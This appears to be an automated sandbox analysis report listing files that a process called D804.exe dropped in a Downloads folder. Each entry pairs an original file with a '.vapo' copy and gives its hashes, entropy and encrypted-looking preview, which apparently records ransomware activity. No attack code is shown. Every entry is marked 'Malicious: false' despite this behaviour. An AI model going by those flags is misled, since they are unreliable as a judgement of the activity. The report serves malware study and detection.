File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825837956721313
Encrypted:	false
SSDEEP:	24:itFx1uGCy1zXOIwnsT72DkCgcFChW5oKYIPuuTrTjdWx6Nw+ePTi7bD:itFx1uHy1n1cFCSoKYInr1WsNP0G/D
MD5:	818CEE30859606CBD0346F1AD2D3B6FF
SHA1:	7D19836AF46F4BAB750438FAE269C8C11E4DAD37
SHA-256:	E56CAC11B6FE0B74799B5A453883DEDB6B439B40827A8F77F5921B484F600F4A
SHA-512:	DEFDEC8A398286AA1339606307DAE1B2D3DC48062993D23562E2A6C33B0BB75B233DC4769033629C147C5ACC94BE3BA39F1B1CD9265B25A1DA50AB8D9A98E900
Malicious:	false
Reputation:	unknown
Preview:	NIRME....Q..oen......~_I......8....7..LlP.>.$.%K..50.T.m.X..N(.M?Qc....UKR...{..m.[z}..K..A>0........u.~!..{..;...u%.I:....2......2.+.vZImz..vG7.P..HY....X.....l;O3..N...G...R..-...YIc.K+1...W.x.....j...\|.+.OG.I..I5._H........t.6....OKi.#.........b.....r.\|^.f.LS{R......#v..I.._...A.`.Z.=..o_..i.............L..y........@......(....2..0v...y...iX ~.C...\|0N..U.-........[..l.GYq...Q..W.U.qz..Lt.....=2.^.C...?....?..[>H............SZk.........]X;@z. .W..H-...T..@.N{...3...}....}0..T....S.Vc......F3,.E^4...q.a..O0\|H.........../.B``.d.p....zR.H....{.r.~5GV............f..9...Veo..!..!....S..x.a...>.....6.,^k...oh.L.$+..t.D..c[....=.W..^/.0^~.dx.......p^=2...........a..uq...$......C~8.Q...~}.....Y.%$X.U.......Z.X.$.X.....~.w.8$<....a..^@+...=IU[.y..R...&......7......u.........hJ?6.N.,%.o..C..4..XMj.3.....$_.....i!......#!=v7...yQ.VGv.d./M...T+.......!dH........k`nP)....=.m..o..j`.........U..j'~..7.....;.!..O.&u.....b.......l.(...uT..#..'..%....2.Hn?

C:\Users\user\Downloads\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849545592441072
Encrypted:	false
SSDEEP:	24:/iTfqGiupfbHVVazXM8i9pZsTM9EAke42oIvnbD:A7iupTHvazXML93IIjD
MD5:	99DF4F337B8FBA269B52D6127633D676
SHA1:	4C31D2202C51A895DAE2D0506F8E9B55659333AE
SHA-256:	56F993439327B9F5EEE3ECB29E0BFBBD60682504141D14D6837791ED94083EE3
SHA-512:	7670B25C2B16C859DA3EE1D0CEEE8C2A00D9CA452543260ED37BF815DA1FF27C436938AC0E3F2F6959D84C7CC5149531FD229C0FFA9009B4F4593FA5E0D48D29
Malicious:	false
Reputation:	unknown
Preview:	NWCXB....g;...@..09LoX....I..y...z..W..Np.Zd...q..\|....F...qg.,g...os.U.m....P...GjjK.c..&..w.G....R2'...%..PAB........-..=..y...^x...v....w0......>..g...r_..f....d3..f...!..KA2.b#..!.V..J..O1..Gf.dP..B...m.}<.&..i......:.Z...tk..Xa.&U.z.9>.`C.a..a..R.o.E...!..T......1HA.=...!E....?E....#.a.....9..z._Y.?.w.z.....D#.....M...dx...eJ.C..+..PV.6.DT...G.+...>,.)...R......vp..V.Ku.v.F5..m.....s..~..a1...b..f.....<.Q..}c..a$....OQB....Lg_...cn,pR..W.&:sK_.8..K....'.......g.?....N.8..7....h..UvL.4rW..X...]..N...V......r.hK#.....R.4b..H..I.......)s.p.).....t7...HvH..H"..........].i.Kh.s..s..#..z..[.7..M..F..{.....V..H..m...~.....V../....~gD..[)&KJP..6.T)'.....]...m7...X...nH.....=,...p&...1.G.RY-.ci.@(e.:.8.;..]1..'...%r....b.t.f...........o.c...w....M.R.9N...I.~...^4..E..}m@...=Q...\'..q.......*.x....{..m'.....Q#...$..W...F.h...:.&.;........_w...dB...J.....^..&.-./...~9=..!....{..&0.....iw...a..S.,........._....PUN...+....@.+..{8.Q....;.N

C:\Users\user\Downloads\NWCXBPIUYI.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849545592441072
Encrypted:	false
SSDEEP:	24:/iTfqGiupfbHVVazXM8i9pZsTM9EAke42oIvnbD:A7iupTHvazXML93IIjD
MD5:	99DF4F337B8FBA269B52D6127633D676
SHA1:	4C31D2202C51A895DAE2D0506F8E9B55659333AE
SHA-256:	56F993439327B9F5EEE3ECB29E0BFBBD60682504141D14D6837791ED94083EE3
SHA-512:	7670B25C2B16C859DA3EE1D0CEEE8C2A00D9CA452543260ED37BF815DA1FF27C436938AC0E3F2F6959D84C7CC5149531FD229C0FFA9009B4F4593FA5E0D48D29
Malicious:	false
Reputation:	unknown
Preview:	NWCXB....g;...@..09LoX....I..y...z..W..Np.Zd...q..\|....F...qg.,g...os.U.m....P...GjjK.c..&..w.G....R2'...%..PAB........-..=..y...^x...v....w0......>..g...r_..f....d3..f...!..KA2.b#..!.V..J..O1..Gf.dP..B...m.}<.&..i......:.Z...tk..Xa.&U.z.9>.`C.a..a..R.o.E...!..T......1HA.=...!E....?E....#.a.....9..z._Y.?.w.z.....D#.....M...dx...eJ.C..+..PV.6.DT...G.+...>,.)...R......vp..V.Ku.v.F5..m.....s..~..a1...b..f.....<.Q..}c..a$....OQB....Lg_...cn,pR..W.&:sK_.8..K....'.......g.?....N.8..7....h..UvL.4rW..X...]..N...V......r.hK#.....R.4b..H..I.......)s.p.).....t7...HvH..H"..........].i.Kh.s..s..#..z..[.7..M..F..{.....V..H..m...~.....V../....~gD..[)&KJP..6.T)'.....]...m7...X...nH.....=,...p&...1.G.RY-.ci.@(e.:.8.;..]1..'...%r....b.t.f...........o.c...w....M.R.9N...I.~...^4..E..}m@...=Q...\'..q.......*.x....{..m'.....Q#...$..W...F.h...:.&.;........_w...dB...J.....^..&.-./...~9=..!....{..&0.....iw...a..S.,........._....PUN...+....@.+..{8.Q....;.N

C:\Users\user\Downloads\NWCXBPIUYI.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832614094131334
Encrypted:	false
SSDEEP:	24:J/k+i3qhEIH74IS2clcY/MxxR6pYqkw0Ng6Ee4kjtRtM3/9ohkP4woOSBQ8DPkGh:Fwe77ceY/iR6zH+g1e4kr49SkP4NhDsW
MD5:	24BC6CCBD07BAD72ADEE100FB63A9D6C
SHA1:	9BF519B65BD9FA9302CE0DF1AB554128524113F9
SHA-256:	7198ED8899AE345047ED17A77E5B31091625AD119B7512EB158C7D2EBAA2A04F
SHA-512:	1FE56AD66B53A6610527AE9356178DD7E9BCC9BAC7511B0FC2245774AE80D92BD18993CDF50AC3CBDB95BBE6519E9718303EB480FEEF71733D13322A2ED44CB4
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.yrx(...~=...>.86z...?.#..0_....uA6wN.c..[_[M......j]..n..;-..R3C.y...UZ.o3.=...z.. \|..`..(.....6..@.....>N7...../..Jw.0..hiD...H.V....fJ@.=X....M\F$.p.T!?..."P&`f/Mo..=",.-../.$..:uT..b.mFgc.-.(g..E......_..x.M.`I....p.u.`U....~h.....vS.z..&U.C.p.x.......c...0.d.:.4......"qg.Rj...e....o.c.3".%.=.v.../...(.Md.$.yL.c..a#&.wsk..P..............1.k\\|\|I.E6W.....Z^.X.......T.....k..P.F.T....L[..Q..?n.Q.....L.....;Kz5D..spW.[.'.O..D..\|6. ..c.j/RZ.=ss......@.U..;.\|.._h[p..._C.U&...j\...Ep;QU....'U..;.9..e..}9u.t..H..."..~.......@D{..Z.....\|..n.`;..<.N.#)...v.3[}l83....ad.."7.`S..ci...HQl..4..h..[..#.q...$....)........`T].)N.1...W`e7JS...~...........+...B...r.......!.V9.]:..z.f...R...F...U. .....&M7qR.........\A"...u#....@.;.5..\....-..r..U&N...."wR&..e......(.==......U........]..ef.e.../...Z..@.....O..^.q-...70.!Dv)W...;.D&..E.F..-.\)...........7..=[.f......g@u.......nT...B..m....Kv.>'...7w......*.S../..<V?.[..yZ.O/i.......e...)

C:\Users\user\Downloads\NWCXBPIUYI.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832614094131334
Encrypted:	false
SSDEEP:	24:J/k+i3qhEIH74IS2clcY/MxxR6pYqkw0Ng6Ee4kjtRtM3/9ohkP4woOSBQ8DPkGh:Fwe77ceY/iR6zH+g1e4kr49SkP4NhDsW
MD5:	24BC6CCBD07BAD72ADEE100FB63A9D6C
SHA1:	9BF519B65BD9FA9302CE0DF1AB554128524113F9
SHA-256:	7198ED8899AE345047ED17A77E5B31091625AD119B7512EB158C7D2EBAA2A04F
SHA-512:	1FE56AD66B53A6610527AE9356178DD7E9BCC9BAC7511B0FC2245774AE80D92BD18993CDF50AC3CBDB95BBE6519E9718303EB480FEEF71733D13322A2ED44CB4
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.yrx(...~=...>.86z...?.#..0_....uA6wN.c..[_[M......j]..n..;-..R3C.y...UZ.o3.=...z.. \|..`..(.....6..@.....>N7...../..Jw.0..hiD...H.V....fJ@.=X....M\F$.p.T!?..."P&`f/Mo..=",.-../.$..:uT..b.mFgc.-.(g..E......_..x.M.`I....p.u.`U....~h.....vS.z..&U.C.p.x.......c...0.d.:.4......"qg.Rj...e....o.c.3".%.=.v.../...(.Md.$.yL.c..a#&.wsk..P..............1.k\\|\|I.E6W.....Z^.X.......T.....k..P.F.T....L[..Q..?n.Q.....L.....;Kz5D..spW.[.'.O..D..\|6. ..c.j/RZ.=ss......@.U..;.\|.._h[p..._C.U&...j\...Ep;QU....'U..;.9..e..}9u.t..H..."..~.......@D{..Z.....\|..n.`;..<.N.#)...v.3[}l83....ad.."7.`S..ci...HQl..4..h..[..#.q...$....)........`T].)N.1...W`e7JS...~...........+...B...r.......!.V9.]:..z.f...R...F...U. .....&M7qR.........\A"...u#....@.;.5..\....-..r..U&N...."wR&..e......(.==......U........]..ef.e.../...Z..@.....O..^.q-...70.!Dv)W...;.D&..E.F..-.\)...........7..=[.f......g@u.......nT...B..m....Kv.>'...7w......*.S../..<V?.[..yZ.O/i.......e...)

C:\Users\user\Downloads\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850146846029302
Encrypted:	false
SSDEEP:	24:o7llYOnCp1CL7joIZabjiXX7uh+zyNSyRcInF1ZOyAIegLbSsiL3FxXO99O+JbD:enCp1Ci/K7uk56cgAIEL3DI9OYD
MD5:	5A049002F0C51ED65630F0384678064F
SHA1:	E5F3A890679748975371671E3C54F0197C941EB6
SHA-256:	A562289704E71E22A8ED1AA8606BCB805E8CFB1A1C12DCD51ECC4C15F705EDF9
SHA-512:	201FEC1AF72B57BF47E1187AA0B3CBF77E9914EB98B54EE29D34AC865E368679FB7D21FE5AB3427A53F9A845E1A091A609D784F1381D45B774210339FB869B91
Malicious:	false
Reputation:	unknown
Preview:	NWCXBD.@.....c5......5.....ZL.&.-\|..P9.VM.vt.q..0P...o.../.Id7..........J>0X.K'.L)oO.e..X.X.dA{..Y./.&hrf......f_.TQ.=."....W...U.i)w......K...J.q.81..8SE.V...\|W..?.L..;....`.XZ.Z....0@....."....G.#.ZKc..>.84.........XA...s=..$.$.9I.G..W.=V.&],..[..~.-3.y<......J....s.....K.}..u.V.j.E.$.........l..R....r..H..".J..Y.rn.:U..<$=.Gy.{:].h.`."..a.d..'..w....sm...>...R.....K.=8A.....zo.....I..".Ts7a...6.atA.~.3>..n....V...U.VOB.\.......o.ES<(Q..!}.)..c0....]..1.u.[.S...Rm..=.IV..`t.h^N...Gct.M?."% rH.......D........,=$.O.q;.V;.H.lI.1...7.\|u^..2. -..,`.pK..0.O.D../d...;z......B.)..@]b..v.....:..c.R..IQ...Q.d..p............Z..].V.G~{..Qh.....X.>....7V.....Bx....M.9..v.cU&...L[.-.YA...l.7/....=...qHQ....z^.....Fx[......(.?......v\..2k.\|...g.....a.O..Z........1..?....a.. ..VN.n.s.h.Ts.......F..Yd...`.x.$...%6.SkQ....yI...(.2:.o.0......I......_.BT.....e...T+p...]..BL^H..7..(.MV.P..d6$...[...=.{.!..:.'....x5M-E.....U.......4..e...yT..>.^.7Fu....

C:\Users\user\Downloads\NWCXBPIUYI.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850146846029302
Encrypted:	false
SSDEEP:	24:o7llYOnCp1CL7joIZabjiXX7uh+zyNSyRcInF1ZOyAIegLbSsiL3FxXO99O+JbD:enCp1Ci/K7uk56cgAIEL3DI9OYD
MD5:	5A049002F0C51ED65630F0384678064F
SHA1:	E5F3A890679748975371671E3C54F0197C941EB6
SHA-256:	A562289704E71E22A8ED1AA8606BCB805E8CFB1A1C12DCD51ECC4C15F705EDF9
SHA-512:	201FEC1AF72B57BF47E1187AA0B3CBF77E9914EB98B54EE29D34AC865E368679FB7D21FE5AB3427A53F9A845E1A091A609D784F1381D45B774210339FB869B91
Malicious:	false
Reputation:	unknown
Preview:	NWCXBD.@.....c5......5.....ZL.&.-\|..P9.VM.vt.q..0P...o.../.Id7..........J>0X.K'.L)oO.e..X.X.dA{..Y./.&hrf......f_.TQ.=."....W...U.i)w......K...J.q.81..8SE.V...\|W..?.L..;....`.XZ.Z....0@....."....G.#.ZKc..>.84.........XA...s=..$.$.9I.G..W.=V.&],..[..~.-3.y<......J....s.....K.}..u.V.j.E.$.........l..R....r..H..".J..Y.rn.:U..<$=.Gy.{:].h.`."..a.d..'..w....sm...>...R.....K.=8A.....zo.....I..".Ts7a...6.atA.~.3>..n....V...U.VOB.\.......o.ES<(Q..!}.)..c0....]..1.u.[.S...Rm..=.IV..`t.h^N...Gct.M?."% rH.......D........,=$.O.q;.V;.H.lI.1...7.\|u^..2. -..,`.pK..0.O.D../d...;z......B.)..@]b..v.....:..c.R..IQ...Q.d..p............Z..].V.G~{..Qh.....X.>....7V.....Bx....M.9..v.cU&...L[.-.YA...l.7/....=...qHQ....z^.....Fx[......(.?......v\..2k.\|...g.....a.O..Z........1..?....a.. ..VN.n.s.h.Ts.......F..Yd...`.x.$...%6.SkQ....yI...(.2:.o.0......I......_.BT.....e...T+p...]..BL^H..7..(.MV.P..d6$...[...=.{.!..:.'....x5M-E.....U.......4..e...yT..>.^.7Fu....

C:\Users\user\Downloads\NYMMPCEIMA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85990983527888
Encrypted:	false
SSDEEP:	24:tCcpjMl+S71gBu6KXOxXqA6NezS8Eh+i7/g0+Q+LGVF5ccDJ4gnwwu2VnbD:AWM/huXK+x6Fu0p+SXucV4iwwPbD
MD5:	30484D542E1614B18A1BDED182CCDB32
SHA1:	2F1D7F7236EA5B41629FE6DB258BF96489B85184
SHA-256:	DA3AD87AEB258B9909134B77813DB87B9FEBA2A36E292CE05605278D9944BFBC
SHA-512:	F1C8E2D8114C5CEE639256CE55001D1D104C866B18B092B21F40DF6720BBF4807E11CE897612C88B57EBDFE9AE0424CB091DC0CA43C8C23BEE52988A2E7885C7
Malicious:	false
Reputation:	unknown
Preview:	NYMMP..s1.v.....Z..>a.5..5...Ek.N..1UD..a,..=.....Y..9~<.y1.............k..'w......+..}..fx..8h..;.U...A.../G...l4..9...M...f..\V...^)m.e.w...t..I.N.V9F....!uh...{.^T#..[..XI..+..J...x[....x...... H........!8Y.k..L...u..x..v...Y...tb.9R...Yl......m-.b.!..A.Fp..Q.....I.m......y...$w.'.\|...`...U-.Z."..s..I@.....u.A7......=...Z.n9;.N.-L....H.}~..x./.'M.&..\>n..q..r.jQ....bv.MAx..>..6....).7..}..w.oJ.Vr. M.d...'.?\..l.n5$..=.5..'{l..q......AX..kDc.K;.......`.)..$.1IkA.v..@.....[r91.n...Q.w.#W.?.......Js.r`....,..{..(.u. .7.H.+@....C../Z..U..:.j..p.aI=..._..2..J.f....z.....t.=x...Z.5.K...D.R.....l<0..3..5.y........sQ. k.g.....%.[.y..".....f...L(....2f..QU3..qd...Jc......a..C>.8.Cq..v.T...p.lnaS ..X8).........^v....R&..]?h..;......c. .Q...d.Y....D#..T...S..}.......w.......2.F..vnr....7...ev...!S..Ho...X.._J....1.%..../P.bN.HD?-.....?'.-/}........03..q.=......s../s~.......bYu..... .....Jl5.w.C,.X..Ww.A~?..K......&...& .e..(Lm...}f .1C.;2...k..

C:\Users\user\Downloads\NYMMPCEIMA.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85990983527888
Encrypted:	false
SSDEEP:	24:tCcpjMl+S71gBu6KXOxXqA6NezS8Eh+i7/g0+Q+LGVF5ccDJ4gnwwu2VnbD:AWM/huXK+x6Fu0p+SXucV4iwwPbD
MD5:	30484D542E1614B18A1BDED182CCDB32
SHA1:	2F1D7F7236EA5B41629FE6DB258BF96489B85184
SHA-256:	DA3AD87AEB258B9909134B77813DB87B9FEBA2A36E292CE05605278D9944BFBC
SHA-512:	F1C8E2D8114C5CEE639256CE55001D1D104C866B18B092B21F40DF6720BBF4807E11CE897612C88B57EBDFE9AE0424CB091DC0CA43C8C23BEE52988A2E7885C7
Malicious:	false
Reputation:	unknown
Preview:	NYMMP..s1.v.....Z..>a.5..5...Ek.N..1UD..a,..=.....Y..9~<.y1.............k..'w......+..}..fx..8h..;.U...A.../G...l4..9...M...f..\V...^)m.e.w...t..I.N.V9F....!uh...{.^T#..[..XI..+..J...x[....x...... H........!8Y.k..L...u..x..v...Y...tb.9R...Yl......m-.b.!..A.Fp..Q.....I.m......y...$w.'.\|...`...U-.Z."..s..I@.....u.A7......=...Z.n9;.N.-L....H.}~..x./.'M.&..\>n..q..r.jQ....bv.MAx..>..6....).7..}..w.oJ.Vr. M.d...'.?\..l.n5$..=.5..'{l..q......AX..kDc.K;.......`.)..$.1IkA.v..@.....[r91.n...Q.w.#W.?.......Js.r`....,..{..(.u. .7.H.+@....C../Z..U..:.j..p.aI=..._..2..J.f....z.....t.=x...Z.5.K...D.R.....l<0..3..5.y........sQ. k.g.....%.[.y..".....f...L(....2f..QU3..qd...Jc......a..C>.8.Cq..v.T...p.lnaS ..X8).........^v....R&..]?h..;......c. .Q...d.Y....D#..T...S..}.......w.......2.F..vnr....7...ev...!S..Ho...X.._J....1.%..../P.bN.HD?-.....?'.-/}........03..q.=......s../s~.......bYu..... .....Jl5.w.C,.X..Ww.A~?..K......&...& .e..(Lm...}f .1C.;2...k..

C:\Users\user\Downloads\NYMMPCEIMA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852821014741621
Encrypted:	false
SSDEEP:	24:eBAin8tgBzbdC7DXYEX6w5R0AuAiRWh+AdHCX0aiDJo5Cf/132JbD:yc+K7DXY/w5Ja4+OU0a8zNmpD
MD5:	1D0A6E2A030DF5BC673982A8B86B5C25
SHA1:	43EAB46D63C54FF2E561B162E040BA204768E863
SHA-256:	B741B6DBBEAE9D8094D0E00595325DDAEBD42E805192B4B1DB393164A25B8DC3
SHA-512:	CCB9C66CB7469BD37DD6C11021FB250B2D98586DBACD5F96F669D4CBA487753304461A9E2E9C3B0A94906BAFB5A12909AEA8E0B6826C12685F13FAA140343487
Malicious:	false
Reputation:	unknown
Preview:	NYMMP..>v.p;.......jM.?Uw.g.7...#.,i6.....U....../.bzQPik%._K.eW...4......h.....-...........i{o.m.W.N..=6....(...r.x6....I....0.\|K.....W.\|2E........1..N...tU.Q9'..2.."._..mDG1u7...........X-q[...,.9BUZ...Q.3..k. ..F..U.....w.]%o.....w..mP.(S2.9~.....v....{.....'.....;..5..L..C..@...A;4...^......F_..5...n+......J...b~.^..H.......F.7[....w.$.3AM.6..(.....WRj.s.......Y._Os......^..N%..9...PG.....n.q..].iAUO...?3...t.g..2....8..S.f...........d...ALPi..<.N.....].....n\|X..q.X....)8..\...I.4\..0...a.L`.J6...;...QU..(.,.u...&.......A.VL..6.r.&..&.]g.V...E3..'...@..Y..!.h.MS.[VG.{..V......D&...H..\|r....&=\\|. .X.HHT...........9..2.t....Ld...aj.;...rA...\|B.......]!..4.Z...W.A.....f...$...l....\|./.>.'D...&\1..O{q.#O..m...+~.h..e.y.'.{.....k<i....N+.U>3B..........Y/.N.. .9..5.d&..*..8........OQ..N.V.L...l..s.V...B...Ok.h44&.c..R.vXa.&t.B.x'..........g...qQ3..c...._.).............)V..x..._...Eb[.-&?.......TV....V.o}'].(..P..LNyO..[...........8..E=z

C:\Users\user\Downloads\NYMMPCEIMA.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852821014741621
Encrypted:	false
SSDEEP:	24:eBAin8tgBzbdC7DXYEX6w5R0AuAiRWh+AdHCX0aiDJo5Cf/132JbD:yc+K7DXY/w5Ja4+OU0a8zNmpD
MD5:	1D0A6E2A030DF5BC673982A8B86B5C25
SHA1:	43EAB46D63C54FF2E561B162E040BA204768E863
SHA-256:	B741B6DBBEAE9D8094D0E00595325DDAEBD42E805192B4B1DB393164A25B8DC3
SHA-512:	CCB9C66CB7469BD37DD6C11021FB250B2D98586DBACD5F96F669D4CBA487753304461A9E2E9C3B0A94906BAFB5A12909AEA8E0B6826C12685F13FAA140343487
Malicious:	false
Reputation:	unknown
Preview:	NYMMP..>v.p;.......jM.?Uw.g.7...#.,i6.....U....../.bzQPik%._K.eW...4......h.....-...........i{o.m.W.N..=6....(...r.x6....I....0.\|K.....W.\|2E........1..N...tU.Q9'..2.."._..mDG1u7...........X-q[...,.9BUZ...Q.3..k. ..F..U.....w.]%o.....w..mP.(S2.9~.....v....{.....'.....;..5..L..C..@...A;4...^......F_..5...n+......J...b~.^..H.......F.7[....w.$.3AM.6..(.....WRj.s.......Y._Os......^..N%..9...PG.....n.q..].iAUO...?3...t.g..2....8..S.f...........d...ALPi..<.N.....].....n\|X..q.X....)8..\...I.4\..0...a.L`.J6...;...QU..(.,.u...&.......A.VL..6.r.&..&.]g.V...E3..'...@..Y..!.h.MS.[VG.{..V......D&...H..\|r....&=\\|. .X.HHT...........9..2.t....Ld...aj.;...rA...\|B.......]!..4.Z...W.A.....f...$...l....\|./.>.'D...&\1..O{q.#O..m...+~.h..e.y.'.{.....k<i....N+.U>3B..........Y/.N.. .9..5.d&..*..8........OQ..N.V.L...l..s.V...B...Ok.h44&.c..R.vXa.&t.B.x'..........g...qQ3..c...._.).............)V..x..._...Eb[.-&?.......TV....V.o}'].(..P..LNyO..[...........8..E=z

C:\Users\user\Downloads\QCOILOQIKC.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860325847716761
Encrypted:	false
SSDEEP:	24:EeiZgfZrCwRQZlFUxQw2Gkq9wovKIwzxW9Gc/KiB4dQhvxPf6WbD:EpWpKvFUewOq9wovOo8c/qdNED
MD5:	4986C6339583BBAE99F61014CBC6F05E
SHA1:	48389F0432DB71335C103343B630F39B7ECF61B4
SHA-256:	DE1C98929FF29193F95108E7A2DA8B177BE701491F4A413D9F26A274874EEB8B
SHA-512:	5FD313006CBACCC153AD3133810B2A6A27A732944985988D8F81A7CBA58A342615BE713540321F8AA59E693EFE975E61FDE04BFDC8D72A192CFAA0708E658692
Malicious:	false
Reputation:	unknown
Preview:	QCOIL!.....l..{..m......'X...........8.%.s...M..HDk....I.p#.i).....$.W.(..k....(4gj......I.Z.Z.$.h.'..d..`L.'K$A...4.`..B."..W.%..".../....J..?I....}y.P.K.....0.:U..<.......\|...#.iJ.Q..=.i.Ol..>..a..)..n.Y......U.+.......X..p+..2P........w.....:U.4.$.~]mRP...Ac[...!..D{....z..2I..1..J.5-..:....L{.S...e..S`..Kd^..<[.#{..r.N.>4..4. .t.a...McM..4.......C.....\|..)....U....q.....#.$.Rbv.5....QL....]...L$P3Ou...9..;]...o'.....Y. ...T.5._.:...HcUa..Q...ty.!I...@L..@$v.7.......;.k{O...7...:.c7.A./.......E...g...e....$.... 4........DB...#.k.X....z]......o=.W..y.O,.b.B..@..tiv..6..B..9.C}.A..6.K......$p(U..W.....^...io"8&....:.{.(Y[.Wmp0.#..K...Y;.+)1...:.0.......[. r.....\..:T\b,a.u.(..'\|.."N.w..S.@8%.B.)#......I.k..:_^LV!8.?..T..W^C3.G... ...J...so.A..R\.d/....m....~....uxz+...N....I..K.B)..w..Q.B:..&Q......].x....8!^...vU=...Q.s..>.$.'I~w......e4.6....../.".d+..+P.C..{..<nO.c....iD.. #.2F.....\=$..M..........l.v.R.5....H..I..1..Hq

C:\Users\user\Downloads\QCOILOQIKC.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860325847716761
Encrypted:	false
SSDEEP:	24:EeiZgfZrCwRQZlFUxQw2Gkq9wovKIwzxW9Gc/KiB4dQhvxPf6WbD:EpWpKvFUewOq9wovOo8c/qdNED
MD5:	4986C6339583BBAE99F61014CBC6F05E
SHA1:	48389F0432DB71335C103343B630F39B7ECF61B4
SHA-256:	DE1C98929FF29193F95108E7A2DA8B177BE701491F4A413D9F26A274874EEB8B
SHA-512:	5FD313006CBACCC153AD3133810B2A6A27A732944985988D8F81A7CBA58A342615BE713540321F8AA59E693EFE975E61FDE04BFDC8D72A192CFAA0708E658692
Malicious:	false
Reputation:	unknown
Preview:	QCOIL!.....l..{..m......'X...........8.%.s...M..HDk....I.p#.i).....$.W.(..k....(4gj......I.Z.Z.$.h.'..d..`L.'K$A...4.`..B."..W.%..".../....J..?I....}y.P.K.....0.:U..<.......\|...#.iJ.Q..=.i.Ol..>..a..)..n.Y......U.+.......X..p+..2P........w.....:U.4.$.~]mRP...Ac[...!..D{....z..2I..1..J.5-..:....L{.S...e..S`..Kd^..<[.#{..r.N.>4..4. .t.a...McM..4.......C.....\|..)....U....q.....#.$.Rbv.5....QL....]...L$P3Ou...9..;]...o'.....Y. ...T.5._.:...HcUa..Q...ty.!I...@L..@$v.7.......;.k{O...7...:.c7.A./.......E...g...e....$.... 4........DB...#.k.X....z]......o=.W..y.O,.b.B..@..tiv..6..B..9.C}.A..6.K......$p(U..W.....^...io"8&....:.{.(Y[.Wmp0.#..K...Y;.+)1...:.0.......[. r.....\..:T\b,a.u.(..'\|.."N.w..S.@8%.B.)#......I.k..:_^LV!8.?..T..W^C3.G... ...J...so.A..R\.d/....m....~....uxz+...N....I..K.B)..w..Q.B:..&Q......].x....8!^...vU=...Q.s..>.$.'I~w......e4.6....../.".d+..+P.C..{..<nO.c....iD.. #.2F.....\=$..M..........l.v.R.5....H..I..1..Hq

C:\Users\user\Downloads\SNIPGPPREP.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859985307044737
Encrypted:	false
SSDEEP:	24:C1NDfYBoO67yUsHpKhThbWRxn2p5wrz9xlpRSS8cC72RLEW1FukIbD:GVgBkfsJm8x8Oz9TSS87ed1FBSD
MD5:	9DC2D6135AFF6CAFA9A2C04399DBCFAA
SHA1:	F8F4456DAAB5FCD4D37A6F088B0DEA496C9989CD
SHA-256:	0905339676ACBCD71CFD991C2878DBD51E60CC90C469D31DD677826DF8CCB6F6
SHA-512:	B569C1A1CF41BBCEF4736632915562D6CDF3E5EC73563AFCBFDDEB0FD2B3CB8A620A311AB3D5E0E0621F6D49FDB4DF19476EA68E1D8165AE889553F59C235C32
Malicious:	false
Reputation:	unknown
Preview:	SNIPGk.Fg.....Z..vU..VG..5cN....~.\|....gU.j@"...y.".yG1me..e....OQ.Y9.<'..5./r..O...K+...-mzD....6.....V .j.-IT..?..r~...>.H..0+.%.$D...'.M.....d.^.{..m4.... Li..e.q..4b\a.Bm....h..e2E....IX...W...arw.3.?..\|.....l.h.Qn<.31..4V.r..".`/z.T..B.>".Y.$Ww.\|..\|i.M}d2;k......D....Z...&...t.......=.......F....v.W....b..<......t&~q.p..9O.NeV......"....#...mw......6>..'.:.{....^....}.i..rZN%w..@.w....KF.....K..6.m,%3..rW..P.Hk.U%...=.X.4.?o...r.............k..W..'V.-O3.!...1....U...XoJ..E'8.X..$>$.~.Y.H.{4..e.^.mUi...}/.fW.hA#...\|H.<..b..F@l.!....J.....,...R.3.......$........nZ.m!....QHbX..g.y~d.....c.q..T......B ......C,...C7..&M.1..T..\|...?..M...A.2..{G.d=G.7L....0..>Hr.kw.....1.GOc.,.h.p%...%.p....-.@k..a....28m..6.....n.Q4y..........z.ahV.^.J%....6...).nA!..su.U.5k...4.7l(...Y...Bo..c..0....g..{.F../S...,..F..mD....G../.f.......-.....7...p.\|.7P.qq.@L.(..{..A..D...!.o..h..'.....#...6.....+dxX.h...6s.0...A...."...XX..N.Q.......v.]...=G.....o/;3...

C:\Users\user\Downloads\SNIPGPPREP.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859985307044737
Encrypted:	false
